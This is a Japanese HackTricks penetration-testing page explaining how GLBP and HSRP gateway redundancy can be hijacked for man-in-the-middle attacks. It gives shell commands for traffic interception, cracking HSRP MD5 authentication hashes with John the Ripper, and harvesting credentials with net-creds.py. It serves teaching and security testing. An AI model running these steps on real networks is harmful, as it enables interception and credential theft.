GLBP & HSRP Attacks

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

FHRPハイジャッキング概要

FHRPについての洞察

FHRPは、複数のルータを1つの仮想ユニットに統合することで、ネットワークの堅牢性を提供するよう設計されており、負荷分散と障害耐性を向上させます。Cisco Systemsは、GLBPやHSRPなどの優れたプロトコルをこのスイートで導入しました。

GLBPプロトコルの洞察

Ciscoの創造物であるGLBPは、TCP/IPスタック上で機能し、通信にはUDPポート3222を使用します。GLBPグループ内のルータは、3秒ごとに「hello」パケットを交換します。ルータがこれらのパケットを10秒間送信しない場合、オフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です。

GLBPの動作と負荷分散

GLBPは、1つの仮想IPと複数の仮想MACアドレスを使用して、ルータ間で負荷を分散することができるため、際立っています。GLBPグループでは、すべてのルータがパケットの転送に関与します。HSRP/VRRPとは異なり、GLBPは次のメカニズムを通じて本物の負荷分散を提供します:

  • ホスト依存型負荷分散: ホストに一貫したAVF MACアドレスを割り当て、安定したNAT構成に不可欠です。

  • ラウンドロビン負荷分散: リクエストするホスト間でAVF MACアドレスの割り当てを交互に行うデフォルトのアプローチ。

  • 重み付きラウンドロビン負荷分散: 事前に定義された「重み」メトリクスに基づいて負荷を分散します。

GLBPの主要なコンポーネントと用語

  • AVG(Active Virtual Gateway): MACアドレスをピアルータに割り当てる責任があるメインルータ。

  • AVF(Active Virtual Forwarder): ネットワークトラフィックを管理するために指定されたルータ。

  • GLBP優先度: AVGを決定するメトリクスで、デフォルトは100から255までの範囲で始まります。

  • GLBP重み: ルータ上の現在の負荷を反映し、手動で調整するか、オブジェクトトラッキングを介して調整できます。

  • GLBP仮想IPアドレス: 接続されたすべてのデバイスのデフォルトゲートウェイとして機能します。

GLBPでは、予約されたマルチキャストアドレス224.0.0.102とUDPポート3222を使用して相互作用します。ルータは3秒ごとに「hello」パケットを送信し、パケットが10秒間欠落した場合は非稼働と見なされます。

GLBP攻撃メカニズム

攻撃者は、最も高い優先度値(255)を持つGLBPパケットを送信することで、主要ルータになることができます。これにより、DoSやMITM攻撃が可能となり、トラフィックの傍受やリダイレクトが可能となります。

Lokiを使用したGLBP攻撃の実行

Lokiは、優先度と重みが255に設定されたパケットを注入することでGLBP攻撃を実行できます。攻撃前の手順には、Wiresharkなどのツールを使用して、仮想IPアドレス、認証の有無、およびルータの優先度値などの情報を収集することが含まれます。

攻撃手順:

  1. プロミスキャスモードに切り替えてIPフォワーディングを有効にします。

  2. ターゲットルータを特定し、そのIPを取得します。

  3. Gratuitous ARPを生成します。

  4. AVGをなりすまして悪意のあるGLBPパケットを注入します。

  5. 攻撃者のネットワークインターフェースにセカンダリIPアドレスを割り当て、GLBP仮想IPを反映させます。

  6. 完全なトラフィックの可視性のためにSNATを実装します。

  7. インターネットアクセスを元のAVGルータを介して継続するようにルーティングを調整します。

これらの手順に従うことで、攻撃者は自分自身を「中間者」として配置し、暗号化されていないまたは機密性の高いデータを含むネットワークトラフィックを傍受および分析できます。

デモンストレーションのために、必要なコマンドスニペットを以下に示します:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

HSRPハイジャックのパッシブな説明とコマンドの詳細

HSRP(Hot Standby Router/Redundancy Protocol)の概要

HSRPは、ネットワークゲートウェイの冗長性のために設計されたCisco独自のプロトコルです。複数の物理ルータを1つの論理ユニットに構成し、共有IPアドレスを持つことができます。この論理ユニットは、トラフィックを管理するための指示を行う主要ルータによって管理されます。GLBPが優先度や重みなどのメトリクスを使用して負荷分散を行うのに対し、HSRPはトラフィック管理に単一のアクティブルータを使用します。

HSRPにおける役割と用語

  • HSRPアクティブルータ: トラフィックフローを管理するゲートウェイとして機能するデバイス。

  • HSRPスタンバイルータ: アクティブルータが故障した場合に引き継ぐ準備ができたバックアップルータ。

  • HSRPグループ: 単一の強固な仮想ルータを形成するために協力するルータのセット。

  • HSRP MACアドレス: HSRPセットアップ内の論理ルータに割り当てられた仮想MACアドレス。

  • HSRP仮想IPアドレス: 接続されたデバイスのデフォルトゲートウェイとして機能するHSRPグループの仮想IPアドレス。

HSRPのバージョン

HSRPには、HSRPv1とHSRPv2の2つのバージョンがあり、主にグループ容量、マルチキャストIPの使用、および仮想MACアドレス構造が異なります。プロトコルは、サービス情報の交換に特定のマルチキャストIPアドレスを使用し、Helloパケットは3秒ごとに送信されます。パケットが10秒間受信されない場合、ルータは非アクティブと見なされます。

HSRP攻撃メカニズム

HSRP攻撃は、最大優先度値を注入することでアクティブルータの役割を強制的に引き継ぐことを含みます。これにより、中間者攻撃(MITM)が発生する可能性があります。攻撃前の重要なステップには、HSRPセットアップに関するデータを収集することが含まれ、Wiresharkを使用してトラフィックの分析を行うことができます。

HSRP認証のバイパス手順

  1. HSRPデータを含むネットワークトラフィックを.pcapファイルとして保存します。

tcpdump -w hsrp_traffic.pcap
  1. hsrp2john.pyを使用して.pcapファイルからMD5ハッシュを抽出します。

python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. John the Ripperを使用してMD5ハッシュをクラックします。

john --wordlist=mywordlist.txt hsrp_hashes

Lokiを使用したHSRPインジェクションの実行

  1. HSRP広告を特定するためにLokiを起動します。

  2. ネットワークインターフェースをプロミスキャスモードに設定し、IPフォワーディングを有効にします。

sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Lokiを使用して特定のルータをターゲットにし、クラックされたHSRPパスワードを入力し、アクティブルータを偽装するために必要な設定を行います。

  2. アクティブルータの役割を取得した後、ネットワークインターフェースとIPテーブルを設定して正当なトラフィックを傍受します。

sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. 以前のアクティブルータを介してトラフィックをルーティングするためにルーティングテーブルを変更します。

sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. 傍受したトラフィックから資格情報をキャプチャするためにnet-creds.pyまたは類似のユーティリティを使用します。

sudo python2 net-creds.py -i eth0

これらの手順を実行することで、攻撃者はGLBPハイジャックの手順と同様にトラフィックを傍受および操作する立場に置かれます。これは、HSRPなどの冗長性プロトコルの脆弱性と堅牢なセキュリティ対策の必要性を示しています。

Last updated